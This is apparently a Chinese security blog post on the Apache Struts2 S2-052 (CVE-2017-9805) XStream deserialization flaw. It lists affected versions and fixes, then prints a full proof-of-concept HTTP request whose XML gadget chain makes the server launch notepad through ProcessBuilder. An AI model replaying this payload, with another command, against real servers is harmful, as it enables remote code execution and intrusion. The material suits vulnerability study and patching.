Web安全信息安全网络与信息安全

Struts2 : S2 - 052

2017-09-15  本文已影响35人  Jewel591

ps:关于Java反序列化原理,请参见:Java反序列化漏洞原理

漏洞介绍

Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-052,CVE编号CVE-2017-9805。

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

Struts 2.5 - Struts 2.5.12

Struts 2.5.13

使用知道创宇SeeBug可以直接检测站点是否存在本漏洞

  1. 升级Struts2至2.5.13。
  2. 删除2.5.12以及之前版本的rest-showcaseWAR包。
  3. 部署HanSight企业版和HanSight NTA,接入Web服务器流量和日志,及时处理告警。

漏洞原理

S2-052漏洞,源于REST插件处理XML反序列化请求时没有做任何过滤或验证,直接解析处理(将XML反序列化成Java Object),所以存在安全隐患、可以远程攻击。
(所以还是那句话:一切外来输入都是不可信的!)

通过精心构造的XML反序列化请求可以使得服务器执行任何命令:


利用POC

#此poc为打开目标系统notepad软件
POST /struts2-rest-showcase/orders/3/edit;jsessionid=F455F4577F3AC37C743B888B17C7A05E HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1659
Referer: http://127.0.0.1:8080/orders/3/edit
Cookie: JSESSIONID=F455F4577F3AC37C743B888B17C7A05E
Connection: close
Upgrade-Insecure-Requests: 1


<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>C:\Windows\System32\notepad </string></command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

发现一个大表哥写的非常详细:http://www.sohu.com/a/190287874_99907709

上一篇下一篇

猜你喜欢

热点阅读